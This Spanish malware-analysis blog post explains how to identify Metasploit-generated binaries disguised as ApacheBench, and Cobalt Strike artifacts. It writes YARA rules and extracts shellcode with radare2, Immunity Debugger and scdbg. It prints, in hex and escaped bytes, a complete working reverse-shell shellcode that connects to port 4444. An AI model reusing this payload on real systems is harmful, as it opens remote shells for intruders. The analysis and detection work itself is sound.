Siempre que me encuentro con un fichero de unos 73K aprox. y en donde puede verse información relativa a Apache, pienso - otro binario generado por Metasploit, bien!! - :-D

Vamos a ver algún ejemplo. Podéis ver de qué os hablo:

Si miramos el “Version Info”,  vemos lo siguiente:

Pero lo que más llama la atención sería la siguiente cadena dentro del mismo:

ab.pdb
$ strings ce76b940ed3c1beeaedc371e3da5c66b46064956223af21649cb69f848735717 | grep ab.pdb
C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb

Con esta información que hemos visto hasta ahora podemos crear la siguiente regla Yara:

rule binary_generated_by_Metasploit {
   meta:
      description = "Detects generic binaries generated by Metasploit"
      author = "by Rafa"
      date = "2019-09-14"
   strings:
      $s1 = "User-Agent: ApacheBench/" fullword ascii
      $s2 = "apr_pollset_create failed" fullword ascii
      $s3 = "C:\\local0\\asf\\release\\build-2.2.14\\support\\Release\\ab.pdb" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 74KB and all of them
}`

Vemos que funciona:

Trataremos de obtener los shellcodes de los binarios utilizando radare2, Immunity Debugger y scdbg.

Como depende de como esté encodeado los shellcodes, intentaré que se vea utilizando los más genéricos posibles.

Por ejemplo este: 8cdcc82f6099e052c56cca2cd7b8d9c2b0f0c29189059f6e0c23aeecaaad1a22

[0x004083de]> i
fd       3
file     8cdcc82f6099e052c56cca2cd7b8d9c2b0f0c29189059f6e0c23aeecaaad1a22
size     0x1204a
humansz  72.1K
mode     r-x
format   pe
iorw     false
blksz    0x0
block    0x100
type     EXEC (Executable file)
arch     x86
baddr    0x400000
binsz    73802
bintype  pe
bits     32
canary   false
retguard false
class    PE32
cmp.csum 0x00020a26
compiled Sat Sep  5 18:07:05 2009
crypto   false
dbg_file C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
endian   little
havecode true
hdr.csum 0x00000000
guid     4AC180361
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  i386
maxopsz  16
minopsz  1
nx       false
os       windows
overlay  true
pcalign  0
pic      false
relocs   true
signed   false
sanitiz  false
static   false
stripped false
subsys   Windows GUI
va       true

En este caso, cargamos el fichero con radare2 y nos vamos a la zona donde se encuentra la shellcode (¿que cómo lo sé? Investigando :-D)

Nos vamos a esa posición y obtenemos el shellcode:

Shellcode a investigar:

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631
ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e348
01d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e0
75f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01
d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773
325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a
0a68ac101cd8680200115c89e6505050504050405068ea0fdfe0ffd597
6a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a04
56576802d9c85fffd583f8007e368b366a406800100000566a006858a4
53e5ffd593536a005653576802d9c85fffd583f8007d28586800400000
6a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c

Esta vez es sencillo ya que no utiliza ningún encoder para complicar la cosa. Podemos guardar este contenido en un fichero (en formato binario) y utilizar scdbg.

python tohexformat_tofile.py fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631
ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e348
01d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e0
75f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01
d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773
325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a
0a68ac101cd8680200115c89e6505050504050405068ea0fdfe0ffd597
6a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a04
56576802d9c85fffd583f8007e368b366a406800100000566a006858a4
53e5ffd593536a005653576802d9c85fffd583f8007d28586800400000
6a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c\xfc\xe8\x82\x
00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c
\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x
61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b
\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x
8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01
\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x
7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x
24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12
\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x
68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29
\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xac\x
10\x1c\xd8\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40
\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x
57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08
\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x
02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40
\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\x
d5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5
\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x
68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5
\x5e\x5e\xff\x0c
File saved in shellcode_in_file.bin

Lo abres con scdbg:

Aquí tenemos las conexiones hacia la IP y el puerto 4444.Se puede automatizar esto con radare2 y scdbg (el Python no es mi fuerte, sorry!!):

Para la siguiente muestra utilizaremos Immunity Debugger, es esta: ce76b940ed3c1beeaedc371e3da5c66b46064956223af21649cb69f848735717

[0x004069fa]> i
fd       3
file     ce76b940ed3c1beeaedc371e3da5c66b46064956223af21649cb69f848735717
size     0x1204a
humansz  72.1K
mode     r-x
format   pe
iorw     false
blksz    0x0
block    0x100
type     EXEC (Executable file)
arch     x86
baddr    0x400000
binsz    73802
bintype  pe
bits     32
canary   false
retguard false
class    PE32
cmp.csum 0x0001f8b0
compiled Fri Sep 18 06:48:17 2009
crypto   false
dbg_file C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
endian   little
havecode true
hdr.csum 0x00000000
guid     4AC180361
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  i386
maxopsz  16
minopsz  1
nx       false
os       windows
overlay  true
pcalign  0
pic      false
relocs   true
signed   false
sanitiz  false
static   false
stripped false
subsys   Windows GUI
va       true

Primero ponemos un breakpoint aquí:

Nos fijamos en la memoria. Necesitamos conocer el tamaño de la shellcode, ponemos otro breakpoint en la api “VirtualAlloc”:

Como ya lo tenemos, pulsamos F9 y paramos en la dirección que habíamos puesto anteriormente.

Si nos volvemos a fijar, ha aparecido un valor nuevo ahí, ¿que será?. De momento está vacío.

Pulsamos F8.

Y aquí tenemos nuestra shellcode. La extraemos y la cargamos en scdbg.

Y aquí tenemos hacia donde se conecta. Podemos utilizar el netcat y ver si recibimos algo.

Conectado al puerto 445. Para ello, antes, puse en la máquina la IP a la que se iba a conectar.

Esto se podría automatizar de alguna forma, por ejemplo esta:

Ejecutamos el “pyCommand” script.

Cogemos el fichero generado y nos lo llevamos a scdbg:

Mismo resultado.

Estos son ejemplos de las muchas formas existentes que hay de extraer los shellcode de los binarios generados con Metasploit.

Pasamos a los de Cobalt Strike, un software muy utilizado en las intrusiones es Cobalt Strike. Según puede leerse en su página web: “Cobalt Strike is software for Adversary Simulations and Red Team Operations.”.

Lo único, es que no solamente se utiliza en ejercicios de Red Team y ahí es donde vienen los problemas. Vamos a ver qué hay detrás (una parte) y cómo detectarlo.

Para ello analizaremos esta muestra.

Lo primero de todo es mirar las “strings”, siempre, y sobre todo en este tipo de binarios tan pequeños.

En las cadenas vemos referencias al tipo de compilador utilizado:

En este punto, podríamos crear una regla yara para detectar este tipo de artefactos:

import "pe"
rule Generic_Cobalt_Strike_EXE {
meta:
 description = "Yara Rule for Generic Cobalt Strike"
 author = "by Rafa"
 reference = "Internal Research"
 last_updated = "2019-09-02"
 category = "informational"
strings:
 $string2 = "Address %p has no image-section"
 $string4 = "Argument domain error (DOMAIN)"
 $string5 = "Argument singularity (SIGN)"
 $string6 = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
 $string7 = "ConnectNamedPipe"
 $string8 = "CreateNamedPipeA"
 $string9 = "__dllonexit"
 $string12 = "TerminateProcess"
 $string14 = "VirtualProtect"
condition:
 uint16(0) == 0x5a4d and all of them
}

Vemos su ejecución y detección:

$ yara -r cobaltstrike.yara ./
Generic_Cobalt_Strike_EXE .//exe/artifact.exe

Seguimos analizando cosas curiosas, por ejemplo, veíamos alguna mención a API de “pipe” y una cadena “%c%c%c%c%c%c%c%c%cMSSE-%d-server”.

%c%c%c%c%c%c%c%c%cMSSE-%d-server
ConnectNamedPipe
CreateFileA
CreateNamedPipeA

En el blog de la herramienta viene su significado. Por lo que una buena forma de detectarlo sería buscar esto mismo.

Como de lo que se trata es de conseguir el shellcode en donde se conecta a la ip y puerto cuales quiera que sea, buscamos alguna API que nos lleve en esa dirección.

VirtualProtect es una buena candidata, por lo que vamos a ver qué encontramos en esa dirección de memoria.

Extraemos su contenido y lo analizamos con scdbg.

Bien, ya tenemos la IP y puerto que buscabamos. Esto mismo lo podíamos haber obtenido poniendo algunos breakpoints en funciones de la API destinados a comunicación por http.

Si os fijais en el “user-agent”, nos daba una gran pista de lo que se trata, Cobalt Strike Beacon.

Si os montáis la forma para que las peticiones vayan contra vosotros mismos, es decir, os ponéis esa IP en vuestro equipo de análisis, veréis cómo se conecta e intenta comunicarse y continuar el proceso como espera la propia herramienta.

En caso de recibir el OK esperado, continuaría con el resto de peticiones solicitadas por el atacante.

Hay muchas formas de obtener estos resultados y esta es una más de ellas.

Espero que os haya gustado, hasta otra!!